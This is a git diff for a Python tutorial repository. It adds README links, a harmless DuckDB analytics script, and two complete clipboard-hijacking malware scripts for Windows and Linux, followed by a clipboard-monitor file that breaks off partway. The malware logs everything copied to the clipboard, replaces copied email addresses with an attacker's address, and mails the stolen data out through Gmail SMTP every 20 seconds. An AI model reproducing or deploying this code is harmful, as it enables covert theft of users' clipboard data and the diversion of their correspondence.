diff --git a/README.md b/README.md index ddf5f25d..c298a644 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Perform IP Address Spoofing in Python](https://thepythoncode.com/article/make-an-ip-spoofer-in-python-using-scapy). ([code](scapy/ip-spoofer)) - [How to See Hidden Wi-Fi Networks in Python](https://thepythoncode.com/article/uncovering-hidden-ssids-with-scapy-in-python). ([code](scapy/uncover-hidden-wifis)) - [Crafting Dummy Packets with Scapy Using Python](https://thepythoncode.com/article/crafting-packets-with-scapy-in-python). ([code](scapy/crafting-packets)) + - [Building a Honeypot Defense System with Python and Scapy](https://thepythoncode.com/article/python-scapy-honeypot-port-scan-detection-system). ([code](scapy/honeypot-defense-system)) - [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger)) - [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner)) - [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell)) @@ -82,6 +83,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python). ([code](ethical-hacking/reverse-dns-lookup)) - [How to Make a Clickjacking Vulnerability Scanner in Python](https://thepythoncode.com/article/make-a-clickjacking-vulnerability-scanner-with-python). ([code](ethical-hacking/clickjacking-scanner)) - [How to Build a Custom NetCat with Python](https://thepythoncode.com/article/create-a-custom-netcat-in-python). ([code](ethical-hacking/custom-netcat/)) + - [Building a ClipBoard Hijacking Malware with Python](https://thepythoncode.com/article/build-a-clipboard-hijacking-tool-with-python). ([code](ethical-hacking/clipboard-hijacking-tool)) + - [How to Build a Website Blocker in Python](https://www.thepythoncode.com/article/build-website-blocker-python). ([code](ethical-hacking/website-blocker)) - ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning) - ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp) @@ -105,6 +108,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [Word Error Rate in Python](https://www.thepythoncode.com/article/calculate-word-error-rate-in-python). ([code](machine-learning/nlp/wer-score)) - [How to Calculate ROUGE Score in Python](https://www.thepythoncode.com/article/calculate-rouge-score-in-python). ([code](machine-learning/nlp/rouge-score)) - [Visual Question Answering with Transformers](https://www.thepythoncode.com/article/visual-question-answering-with-transformers-in-python). ([code](machine-learning/visual-question-answering)) + - [Building a Full-Stack RAG Chatbot with FastAPI, OpenAI, and Streamlit](https://thepythoncode.com/article/build-rag-chatbot-fastapi-openai-streamlit). ([code](https://github.com/mahdjourOussama/python-learning/tree/master/chatbot-rag)) - ### [Computer Vision](https://www.thepythoncode.com/topic/computer-vision) - [How to Detect Human Faces in Python using OpenCV](https://www.thepythoncode.com/article/detect-faces-opencv-python). ([code](machine-learning/face_detection)) - [How to Make an Image Classifier in Python using TensorFlow and Keras](https://www.thepythoncode.com/article/image-classification-keras-python). ([code](machine-learning/image-classifier)) @@ -143,6 +147,8 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Predict Stock Prices in Python using TensorFlow 2 and Keras](https://www.thepythoncode.com/article/stock-price-prediction-in-python-using-tensorflow-2-and-keras). ([code](machine-learning/stock-prediction)) - [How to Convert Text to Speech in Python](https://www.thepythoncode.com/article/convert-text-to-speech-in-python). ([code](machine-learning/text-to-speech)) - [How to Perform Voice Gender Recognition using TensorFlow in Python](https://www.thepythoncode.com/article/gender-recognition-by-voice-using-tensorflow-in-python). ([code](https://github.com/x4nth055/gender-recognition-by-voice)) + - [How to Build a Semantic Search Engine with FAISS and Sentence Transformers in Python](https://www.thepythoncode.com/article/semantic-search-engine-faiss-python). ([code](machine-learning/semantic-search-faiss)) + - [How to Generate and Visualize Text Embeddings in Python](https://www.thepythoncode.com/article/generate-visualize-text-embeddings-python). ([code](machine-learning/text-embeddings-visualization)) - [Introduction to Finance and Technical Indicators with Python](https://www.thepythoncode.com/article/introduction-to-finance-and-technical-indicators-with-python). ([code](machine-learning/technical-indicators)) - [Algorithmic Trading with FXCM Broker in Python](https://www.thepythoncode.com/article/trading-with-fxcm-broker-using-fxcmpy-library-in-python). ([code](machine-learning/trading-with-fxcm)) - [How to Create Plots With Plotly In Python](https://www.thepythoncode.com/article/creating-dynamic-plots-with-plotly-visualization-tool-in-python). ([code](machine-learning/plotly-visualization)) @@ -187,7 +193,9 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Query the Ethereum Blockchain with Python](https://www.thepythoncode.com/article/query-ethereum-blockchain-with-python). ([code](general/query-ethereum)) - [Data Cleaning with Pandas in Python](https://www.thepythoncode.com/article/data-cleaning-using-pandas-in-python). ([code](general/data-cleaning-pandas)) - [How to Minify CSS with Python](https://www.thepythoncode.com/article/minimize-css-files-in-python). ([code](general/minify-css)) + - [How to Build a File Deduplication Tool in Python](https://www.thepythoncode.com/article/file-deduplication-tool-python). ([code](general/file-deduplication-tool)) - [Build a real MCP client and server in Python with FastMCP (Todo Manager example)](https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager). ([code](general/fastmcp-mcp-client-server-todo-manager)) + - [How to Automate Excel Reports in Python using Openpyxl](https://www.thepythoncode.com/article/automate-excel-reports-python-openpyxl). ([code](general/sales-report-generator)) @@ -259,6 +267,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) - [How to Connect to a Remote MySQL Database in Python](https://www.thepythoncode.com/article/connect-to-a-remote-mysql-server-in-python). ([code](database/connect-to-remote-mysql-server)) - [How to Use MongoDB Database in Python](https://www.thepythoncode.com/article/introduction-to-mongodb-in-python). ([code](database/mongodb-client)) + - [SQL Analytics at Lightning Speed: Getting Started with DuckDB in Python](https://www.thepythoncode.com/article/duckdb-python-getting-started). ([code](database/duckdb-python)) - ### [Handling PDF Files](https://www.thepythoncode.com/topic/handling-pdf-files) - [How to Extract All PDF Links in Python](https://www.thepythoncode.com/article/extract-pdf-links-with-python). ([code](web-scraping/pdf-url-extractor)) diff --git a/database/duckdb-python/duckdb_tutorial.py b/database/duckdb-python/duckdb_tutorial.py new file mode 100644 index 00000000..512aa17a --- /dev/null +++ b/database/duckdb-python/duckdb_tutorial.py @@ -0,0 +1,319 @@ +""" +DuckDB + Python — Complete Tutorial Code +========================================= +SQL Analytics at Lightning Speed with DuckDB + +Requirements: pip install duckdb pandas polars pyarrow numpy + +This script covers: + 1. Basic DuckDB connection and SQL queries + 2. Querying CSV files directly (no import needed!) + 3. DuckDB vs Pandas performance comparison + 4. Querying Parquet files + 5. Window functions for ranking + 6. Hybrid workflow: DuckDB → Pandas → Polars + 7. Persistent databases (.duckdb files) + 8. Exporting results to CSV and Parquet +""" +import duckdb +import pandas as pd +import polars as pl +import numpy as np +import time +import os + +print(f"DuckDB version: {duckdb.__version__}") + +# ═══════════════════════════════════════════════════════════════ +# 1. GENERATE SAMPLE DATA +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("GENERATING SAMPLE DATA (500K rows)") +print("=" * 60) + +np.random.seed(42) +n = 500_000 + +regions = ["North", "South", "East", "West"] +products = ["Widget A", "Widget B", "Gadget X", "Gadget Y", "Doohickey Z"] +categories = ["Electronics", "Home", "Office", "Electronics", "Office"] + +df_sales = pd.DataFrame({ + "order_id": range(1, n + 1), + "region": np.random.choice(regions, n), + "product": np.random.choice(products, n), + "category": np.random.choice(categories, n), + "quantity": np.random.randint(1, 20, n), + "unit_price": np.round(np.random.uniform(5, 500, n), 2), + "order_date": pd.date_range("2025-01-01", periods=n, freq="90s"), +}) + +df_sales["total_amount"] = df_sales["quantity"] * df_sales["unit_price"] +df_sales["customer_id"] = np.random.randint(1000, 5000, n) + +csv_path = "sales_data.csv" +parquet_path = "sales_data.parquet" +df_sales.to_csv(csv_path, index=False) +df_sales.to_parquet(parquet_path, index=False) + +csv_size = os.path.getsize(csv_path) / (1024 * 1024) +pq_size = os.path.getsize(parquet_path) / (1024 * 1024) +print(f"CSV saved: {csv_size:.1f} MB ({n:,} rows)") +print(f"Parquet saved: {pq_size:.1f} MB ({n:,} rows)") + +# ═══════════════════════════════════════════════════════════════ +# 2. BASIC DUCKDB: IN-MEMORY CONNECTION +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("BASIC DUCKDB: Creating tables & querying") +print("=" * 60) + +conn = duckdb.connect() # in-memory database + +conn.execute(""" + CREATE TABLE employees ( + id INTEGER, + name VARCHAR, + department VARCHAR, + salary DECIMAL(10, 2) + ) +""") + +conn.execute(""" + INSERT INTO employees VALUES + (1, 'Alice', 'Engineering', 95000), + (2, 'Bob', 'Engineering', 87000), + (3, 'Charlie', 'Marketing', 72000), + (4, 'Diana', 'Marketing', 78000), + (5, 'Eve', 'Engineering', 105000), + (6, 'Frank', 'Sales', 65000), + (7, 'Grace', 'Sales', 71000) +""") + +print("\nAll employees (ordered by salary):") +print(conn.execute("SELECT * FROM employees ORDER BY salary DESC").fetchdf()) + +print("\nAverage salary by department:") +print(conn.execute(""" + SELECT department, + ROUND(AVG(salary), 2) AS avg_salary, + COUNT(*) AS headcount + FROM employees + GROUP BY department + ORDER BY avg_salary DESC +""").fetchdf()) + +# ═══════════════════════════════════════════════════════════════ +# 3. QUERY CSV DIRECTLY — THE KILLER FEATURE +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("QUERYING CSV DIRECTLY (No pd.read_csv() needed!)") +print("=" * 60) + +t0 = time.time() +result = conn.execute(f""" + SELECT + region, + category, + COUNT(*) AS num_orders, + ROUND(SUM(total_amount), 2) AS revenue, + ROUND(AVG(total_amount), 2) AS avg_order_value + FROM read_csv('{csv_path}', AUTO_DETECT=TRUE) + GROUP BY region, category + ORDER BY revenue DESC + LIMIT 10 +""").fetchdf() +duckdb_time = time.time() - t0 +print(f"DuckDB direct CSV query: {duckdb_time:.3f}s") +print(result) + +# ═══════════════════════════════════════════════════════════════ +# 4. DUCKDB vs PANDAS — PERFORMANCE SHOWDOWN +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("DUCKDB vs PANDAS — Same query, who wins?") +print("=" * 60) + +t0 = time.time() +df = pd.read_csv(csv_path) +pandas_result = (df.groupby(["region", "category"]) + .agg( + num_orders=("order_id", "count"), + revenue=("total_amount", "sum"), + avg_order_value=("total_amount", "mean") + ) + .sort_values("revenue", ascending=False) + .head(10) + .round(2)) +pandas_time = time.time() - t0 + +print(f"Pandas read_csv + groupby: {pandas_time:.3f}s") +print(f"DuckDB direct query: {duckdb_time:.3f}s") +print(f"Speedup: {pandas_time/duckdb_time:.1f}x faster with DuckDB!") + +# ═══════════════════════════════════════════════════════════════ +# 5. QUERY PARQUET FILES +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("QUERYING PARQUET FILES") +print("=" * 60) + +t0 = time.time() +result = conn.execute(f""" + SELECT + product, + ROUND(SUM(total_amount), 2) AS total_revenue, + COUNT(*) AS units_sold, + ROUND(AVG(quantity), 1) AS avg_qty_per_order + FROM read_parquet('{parquet_path}') + GROUP BY product + ORDER BY total_revenue DESC +""").fetchdf() +pq_time = time.time() - t0 +print(f"Parquet query: {pq_time:.3f}s") +print(result) + +# ═══════════════════════════════════════════════════════════════ +# 6. WINDOW FUNCTIONS — Top 3 products per region +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("WINDOW FUNCTIONS — Top 3 Products per Region") +print("=" * 60) + +result = conn.execute(f""" + WITH ranked AS ( + SELECT + region, + product, + ROUND(SUM(total_amount), 2) AS revenue, + ROW_NUMBER() OVER ( + PARTITION BY region + ORDER BY SUM(total_amount) DESC + ) AS rank + FROM read_parquet('{parquet_path}') + GROUP BY region, product + ) + SELECT * FROM ranked WHERE rank <= 3 + ORDER BY region, rank +""").fetchdf() +print(result) + +# ═══════════════════════════════════════════════════════════════ +# 7. HYBRID WORKFLOW: DuckDB → Pandas → Polars +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("HYBRID WORKFLOW: DuckDB → Pandas → Polars") +print("=" * 60) + +# Step 1: DuckDB does the heavy aggregation +print("Step 1: DuckDB aggregates 500K rows → summary...") +t0 = time.time() +summary = conn.execute(f""" + SELECT + region, + category, + DATE_TRUNC('month', order_date) AS month, + COUNT(*) AS order_count, + ROUND(SUM(total_amount), 2) AS monthly_revenue + FROM read_parquet('{parquet_path}') + GROUP BY region, category, DATE_TRUNC('month', order_date) +""").fetchdf() +print(f" Done in {time.time() - t0:.3f}s → {len(summary)} rows") + +# Step 2: Pandas for pivot table +print("\nStep 2: Pandas pivot table...") +t0 = time.time() +pivot = summary.pivot_table( + index="month", + columns="region", + values="monthly_revenue", + aggfunc="sum" +).round(2) +print(f" Done in {time.time() - t0:.3f}s") +print(pivot.head(6)) + +# Step 3: Polars for final polish +print("\nStep 3: Polars for final formatting...") +t0 = time.time() +pl_df = pl.from_pandas(summary) +top_month = (pl_df + .group_by("region") + .agg(pl.col("monthly_revenue").max().alias("best_month_revenue")) + .sort("best_month_revenue", descending=True)) +print(f" Done in {time.time() - t0:.3f}s") +print(top_month) + +# ═══════════════════════════════════════════════════════════════ +# 8. PERSISTENT DATABASE +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("PERSISTENT DATABASE — Save to .duckdb file") +print("=" * 60) + +db_path = "analytics.duckdb" +persistent_conn = duckdb.connect(db_path) + +persistent_conn.execute(f""" + CREATE OR REPLACE TABLE sales AS + SELECT * FROM read_parquet('{parquet_path}') +""") + +row_count = persistent_conn.execute("SELECT COUNT(*) FROM sales").fetchone()[0] +db_size = os.path.getsize(db_path) / (1024 * 1024) +print(f"Database file: {db_path} ({db_size:.1f} MB)") +print(f"Sales table: {row_count:,} rows persisted") + +print("\nTop 5 customers by lifetime value:") +print(persistent_conn.execute(""" + SELECT + customer_id, + COUNT(*) AS orders, + ROUND(SUM(total_amount), 2) AS lifetime_value + FROM sales + GROUP BY customer_id + ORDER BY lifetime_value DESC + LIMIT 5 +""").fetchdf()) + +persistent_conn.close() + +# ═══════════════════════════════════════════════════════════════ +# 9. EXPORT RESULTS +# ═══════════════════════════════════════════════════════════════ +print("\n" + "=" * 60) +print("EXPORTING RESULTS") +print("=" * 60) + +conn.execute(f""" + COPY ( + SELECT region, product, ROUND(SUM(total_amount), 2) AS revenue + FROM read_parquet('{parquet_path}') + GROUP BY region, product + ORDER BY revenue DESC + ) TO 'revenue_summary.csv' (HEADER, DELIMITER ',') +""") + +conn.execute(f""" + COPY ( + SELECT region, product, ROUND(SUM(total_amount), 2) AS revenue + FROM read_parquet('{parquet_path}') + GROUP BY region, product + ORDER BY revenue DESC + ) TO 'revenue_summary.parquet' (FORMAT PARQUET) +""") + +print("Exported: revenue_summary.csv") +print("Exported: revenue_summary.parquet") + +exported = pd.read_csv("revenue_summary.csv") +print(f"\nExported CSV preview ({len(exported)} rows):") +print(exported.head()) + +# ═══════════════════════════════════════════════════════════════ +# CLEANUP +# ═══════════════════════════════════════════════════════════════ +conn.close() + +print("\n" + "=" * 60) +print("DONE! All examples completed successfully.") +print("=" * 60) diff --git a/ethical-hacking/clipboard-hijacking-tool/README.md b/ethical-hacking/clipboard-hijacking-tool/README.md new file mode 100644 index 00000000..05a3f405 --- /dev/null +++ b/ethical-hacking/clipboard-hijacking-tool/README.md @@ -0,0 +1,2 @@ +# [Building a ClipBoard Hijacking Malware with Python](https://thepythoncode.com/article/build-a-clipboard-hijacking-tool-with-python) +This project demonstrates how to create a clipboard hijacking malware using Python. The malware monitors the clipboard for any changes and replaces the copied content with a predefined message or malicious link. \ No newline at end of file diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py new file mode 100644 index 00000000..0fcbaeb0 --- /dev/null +++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker.py @@ -0,0 +1,211 @@ +""" +Clipboard Email Hijacker with Email Exfiltration +Monitors clipboard, hijacks emails, and exfiltrates collected data via email +""" + +import win32clipboard +import re +from time import sleep, time +import sys +import smtplib +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from datetime import datetime + +# Configuration +ATTACKER_EMAIL = "attacker@attack.com" +EXFILTRATION_EMAIL = "addyours@gmail.com" +CHECK_INTERVAL = 1 # seconds between clipboard checks +SEND_INTERVAL = 20 # seconds between sending collected data +EMAIL_REGEX = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' + +# Gmail SMTP Configuration +SMTP_SERVER = "smtp.gmail.com" +SMTP_PORT = 465 # Using SSL port like the working test +SMTP_USERNAME = "addyours@gmail.com" +SMTP_PASSWORD = "add yours" + +# Data collection storage +clipboard_data = [] +hijacked_emails = [] + +def get_clipboard_text(): + """Safely get text from clipboard""" + try: + win32clipboard.OpenClipboard() + try: + data = win32clipboard.GetClipboardData(win32clipboard.CF_TEXT) + if data: + return data.decode('utf-8').rstrip() + return None + except TypeError: + # Clipboard doesn't contain text + return None + finally: + win32clipboard.CloseClipboard() + except Exception as e: + return None + +def set_clipboard_text(text): + """Safely set clipboard text""" + try: + win32clipboard.OpenClipboard() + win32clipboard.EmptyClipboard() + win32clipboard.SetClipboardText(text, win32clipboard.CF_TEXT) + win32clipboard.CloseClipboard() + return True + except Exception as e: + try: + win32clipboard.CloseClipboard() + except: + pass + return False + +def send_exfiltration_email(clipboard_data, hijacked_emails): + """Send collected clipboard data via email""" + + if not clipboard_data and not hijacked_emails: + print("[*] No data to exfiltrate, skipping email") + return False + + try: + # Create email + msg = MIMEMultipart() + msg['From'] = SMTP_USERNAME + msg['To'] = EXFILTRATION_EMAIL + msg['Subject'] = f"Clipboard Data Exfiltration - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}" + + # Build email body + body = "="*60 + "\n" + body += "CLIPBOARD DATA EXFILTRATION REPORT\n" + body += "="*60 + "\n\n" + body += f"Collection Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n" + body += f"Total Items Collected: {len(clipboard_data)}\n" + body += f"Total Emails Hijacked: {len(hijacked_emails)}\n" + body += "\n" + "="*60 + "\n" + + # Clipboard data section + if clipboard_data: + body += "\n--- CLIPBOARD DATA COLLECTED ---\n" + body += "\nAll captured clipboard content (comma-separated):\n" + body += ", ".join(clipboard_data) + body += "\n\n--- DETAILED CLIPBOARD ENTRIES ---\n" + for i, item in enumerate(clipboard_data, 1): + body += f"{i}. {item}\n" + + # Hijacked emails section + if hijacked_emails: + body += "\n" + "="*60 + "\n" + body += "--- HIJACKED EMAIL ADDRESSES ---\n\n" + body += "Comma-separated list:\n" + body += ", ".join(hijacked_emails) + body += "\n\nDetailed list:\n" + for i, email in enumerate(hijacked_emails, 1): + body += f"{i}. {email}\n" + + body += "\n" + "="*60 + "\n" + body += "End of Report\n" + body += "="*60 + "\n" + + msg.attach(MIMEText(body, 'plain')) + + # Send email using SMTP_SSL (exactly like the working test email) + print(f"\n[*] Sending exfiltration email to {EXFILTRATION_EMAIL}...") + with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as server: + server.login(SMTP_USERNAME, SMTP_PASSWORD) + server.send_message(msg) + + print(f"[+] Successfully sent exfiltration email!") + print(f" - Clipboard items: {len(clipboard_data)}") + print(f" - Hijacked emails: {len(hijacked_emails)}\n") + + return True + + except smtplib.SMTPAuthenticationError: + print("[ERROR] SMTP Authentication failed!") + print("[!] Make sure you're using a Gmail App Password, not your regular password") + print("[!] Generate one at: https://myaccount.google.com/apppasswords") + return False + except Exception as e: + print(f"[ERROR] Failed to send email: {e}") + import traceback + traceback.print_exc() + return False + +def main(): + """Main clipboard monitoring loop with periodic exfiltration""" + global clipboard_data, hijacked_emails + + print("="*60) + print("Clipboard Email Hijacker with Data Exfiltration") + print("="*60) + print(f"[+] Target email replacement: {ATTACKER_EMAIL}") + print(f"[+] Exfiltration email: {EXFILTRATION_EMAIL}") + print(f"[+] Monitoring clipboard every {CHECK_INTERVAL} second(s)") + print(f"[+] Sending data every {SEND_INTERVAL} seconds") + print("[+] Press Ctrl+C to stop and exit\n") + + hijack_count = 0 + last_hijacked = None + last_send_time = time() + last_clipboard_content = None + + try: + while True: + current_time = time() + + # Get clipboard content + data = get_clipboard_text() + + # Store ALL clipboard content (not just emails) + if data and data != last_clipboard_content: + clipboard_data.append(data) + last_clipboard_content = data + print(f"[*] Clipboard captured: {data[:50]}{'...' if len(data) > 50 else ''}") + + # Check if it's an email and hijack it + if data and re.search(EMAIL_REGEX, data): + if data != ATTACKER_EMAIL and data != last_hijacked: + print(f"[!] EMAIL DETECTED: {data}") + + # Record the original email before hijacking + hijacked_emails.append(data) + + if set_clipboard_text(ATTACKER_EMAIL): + hijack_count += 1 + last_hijacked = data + print(f"[+] REPLACED with: {ATTACKER_EMAIL}") + print(f"[*] Total hijacks: {hijack_count}\n") + + # Check if it's time to send exfiltration email + if current_time - last_send_time >= SEND_INTERVAL: + if send_exfiltration_email(clipboard_data, hijacked_emails): + # Clear the data after successful send + clipboard_data = [] + hijacked_emails = [] + print("[+] Data cleared, starting new collection cycle\n") + + last_send_time = current_time + + sleep(CHECK_INTERVAL) + + except KeyboardInterrupt: + print(f"\n\n[+] Ctrl+C detected - Stopping monitoring...") + print(f"[*] Total emails hijacked: {hijack_count}") + + # Send any remaining data before exit + if clipboard_data or hijacked_emails: + print("\n[*] Sending final exfiltration email with remaining data...") + send_exfiltration_email(clipboard_data, hijacked_emails) + + print("\n[+] Program exited successfully") + sys.exit(0) + + except Exception as e: + print(f"\n[ERROR] Unexpected error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py new file mode 100644 index 00000000..d1c78ab1 --- /dev/null +++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_hijacker_linux.py @@ -0,0 +1,251 @@ +""" +Clipboard Email Hijacker with Email Exfiltration - Linux Version +""" + +import re +from time import sleep, time +import sys +import smtplib +from email.mime.text import MIMEText +from email.mime.multipart import MIMEMultipart +from datetime import datetime +import subprocess +import os + +# Configuration +ATTACKER_EMAIL = "attacker@attack.com" +EXFILTRATION_EMAIL = "ADD YOURS@gmail.com" +CHECK_INTERVAL = 1 # seconds between clipboard checks +SEND_INTERVAL = 20 # seconds between sending collected data +EMAIL_REGEX = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' + +# Gmail SMTP Configuration +SMTP_SERVER = "smtp.gmail.com" +SMTP_PORT = 465 +SMTP_USERNAME = "ADD YOURS@gmail.com" +SMTP_PASSWORD = "ADD Yours" + +# Data collection storage +clipboard_data = [] +hijacked_emails = [] + +# Detect clipboard tool +CLIPBOARD_TOOL = None +if os.system("which xclip > /dev/null 2>&1") == 0: + CLIPBOARD_TOOL = "xclip" +elif os.system("which xsel > /dev/null 2>&1") == 0: + CLIPBOARD_TOOL = "xsel" +elif os.system("which wl-paste > /dev/null 2>&1") == 0: + CLIPBOARD_TOOL = "wayland" +else: + print("[ERROR] No clipboard tool found!") + print("[!] Install: sudo apt-get install xclip") + sys.exit(1) + +def get_clipboard_text(): + """Safely get text from clipboard""" + try: + if CLIPBOARD_TOOL == "xclip": + result = subprocess.run( + ["xclip", "-selection", "clipboard", "-o"], + capture_output=True, + text=True, + timeout=2 + ) + elif CLIPBOARD_TOOL == "xsel": + result = subprocess.run( + ["xsel", "--clipboard", "--output"], + capture_output=True, + text=True, + timeout=2 + ) + elif CLIPBOARD_TOOL == "wayland": + result = subprocess.run( + ["wl-paste"], + capture_output=True, + text=True, + timeout=2 + ) + else: + return None + + if result.returncode == 0: + return result.stdout.rstrip() + return None + except: + return None + +def set_clipboard_text(text): + """Safely set clipboard text""" + try: + if CLIPBOARD_TOOL == "xclip": + process = subprocess.Popen( + ["xclip", "-selection", "clipboard", "-i"], + stdin=subprocess.PIPE + ) + elif CLIPBOARD_TOOL == "xsel": + process = subprocess.Popen( + ["xsel", "--clipboard", "--input"], + stdin=subprocess.PIPE + ) + elif CLIPBOARD_TOOL == "wayland": + process = subprocess.Popen( + ["wl-copy"], + stdin=subprocess.PIPE + ) + else: + return False + + process.communicate(input=text.encode('utf-8'), timeout=2) + return process.returncode == 0 + except: + return False + +def send_exfiltration_email(clipboard_data, hijacked_emails): + """Send collected clipboard data via email""" + + if not clipboard_data and not hijacked_emails: + print("[*] No data to exfiltrate, skipping email") + return False + + try: + # Create email + msg = MIMEMultipart() + msg['From'] = SMTP_USERNAME + msg['To'] = EXFILTRATION_EMAIL + msg['Subject'] = f"Clipboard Data Exfiltration - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}" + + # Build email body + body = "="*60 + "\n" + body += "CLIPBOARD DATA EXFILTRATION REPORT\n" + body += "="*60 + "\n\n" + body += f"Collection Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n" + body += f"Total Items Collected: {len(clipboard_data)}\n" + body += f"Total Emails Hijacked: {len(hijacked_emails)}\n" + body += "\n" + "="*60 + "\n" + + # Clipboard data section + if clipboard_data: + body += "\n--- CLIPBOARD DATA COLLECTED ---\n" + body += "\nAll captured clipboard content (comma-separated):\n" + body += ", ".join(clipboard_data) + body += "\n\n--- DETAILED CLIPBOARD ENTRIES ---\n" + for i, item in enumerate(clipboard_data, 1): + body += f"{i}. {item}\n" + + # Hijacked emails section + if hijacked_emails: + body += "\n" + "="*60 + "\n" + body += "--- HIJACKED EMAIL ADDRESSES ---\n\n" + body += "Comma-separated list:\n" + body += ", ".join(hijacked_emails) + body += "\n\nDetailed list:\n" + for i, email in enumerate(hijacked_emails, 1): + body += f"{i}. {email}\n" + + body += "\n" + "="*60 + "\n" + body += "End of Report\n" + body += "="*60 + "\n" + + msg.attach(MIMEText(body, 'plain')) + + # Send email using SMTP_SSL + print(f"\n[*] Sending exfiltration email to {EXFILTRATION_EMAIL}...") + with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as server: + server.login(SMTP_USERNAME, SMTP_PASSWORD) + server.send_message(msg) + + print(f"[+] Successfully sent exfiltration email!") + print(f" - Clipboard items: {len(clipboard_data)}") + print(f" - Hijacked emails: {len(hijacked_emails)}\n") + + return True + + except smtplib.SMTPAuthenticationError: + print("[ERROR] SMTP Authentication failed!") + print("[!] Make sure you're using a Gmail App Password, not your regular password") + return False + except Exception as e: + print(f"[ERROR] Failed to send email: {e}") + import traceback + traceback.print_exc() + return False + +def main(): + """Main clipboard monitoring loop with periodic exfiltration""" + global clipboard_data, hijacked_emails + + print("="*60) + print("Clipboard Email Hijacker - Linux Version") + print("="*60) + print(f"[+] Clipboard tool: {CLIPBOARD_TOOL}") + print(f"[+] Target email replacement: {ATTACKER_EMAIL}") + print(f"[+] Exfiltration email: {EXFILTRATION_EMAIL}") + print(f"[+] Monitoring clipboard every {CHECK_INTERVAL} second(s)") + print(f"[+] Sending data every {SEND_INTERVAL} seconds") + print("[+] Press Ctrl+C to stop and exit\n") + + hijack_count = 0 + last_hijacked = None + last_send_time = time() + last_clipboard_content = None + + try: + while True: + current_time = time() + + # Get clipboard content + data = get_clipboard_text() + + # Store ALL clipboard content (not just emails) + if data and data != last_clipboard_content: + clipboard_data.append(data) + last_clipboard_content = data + print(f"[*] Clipboard captured: {data[:50]}{'...' if len(data) > 50 else ''}") + + # Check if it's an email and hijack it + if data and re.search(EMAIL_REGEX, data): + if data != ATTACKER_EMAIL and data != last_hijacked: + print(f"[!] EMAIL DETECTED: {data}") + + # Record the original email before hijacking + hijacked_emails.append(data) + + if set_clipboard_text(ATTACKER_EMAIL): + hijack_count += 1 + last_hijacked = data + print(f"[+] REPLACED with: {ATTACKER_EMAIL}") + print(f"[*] Total hijacks: {hijack_count}\n") + + # Check if it's time to send exfiltration email + if current_time - last_send_time >= SEND_INTERVAL: + if send_exfiltration_email(clipboard_data, hijacked_emails): + # Clear the data after successful send + clipboard_data = [] + hijacked_emails = [] + print("[+] Data cleared, starting new collection cycle\n") + + last_send_time = current_time + + sleep(CHECK_INTERVAL) + + except KeyboardInterrupt: + print(f"\n\n[+] Ctrl+C detected - Stopping monitoring...") + print(f"[*] Total emails hijacked: {hijack_count}") + + # Send any remaining data before exit + if clipboard_data or hijacked_emails: + print("\n[*] Sending final exfiltration email with remaining data...") + send_exfiltration_email(clipboard_data, hijacked_emails) + + print("\n[+] Program exited successfully") + sys.exit(0) + + except Exception as e: + print(f"\n[ERROR] Unexpected error: {e}") + import traceback + traceback.print_exc() + sys.exit(1) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py b/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py new file mode 100644 index 00000000..5d3fcebc --- /dev/null +++ b/ethical-hacking/clipboard-hijacking-tool/clipboard_monitor.py @@ -0,0 +1,79 @@ +import win32gui +import win32api +import ctypes +from win32clipboard import GetClipboardOwner +from win32process import GetWindowThreadProcessId +from psutil import Process +import winsound +import sys +import signal + +def handle_clipboard_event(window_handle, message, w_param, l_param): + if message == 0x031D: # WM_CLIPBOARDUPDATE + try: + clipboard_owner_window = GetClipboardOwner() + process_id = GetWindowThreadProcessId(clipboard_owner_window)[1] + process = Process(process_id) + process_name = process.name() + + # Successfully identified the process - 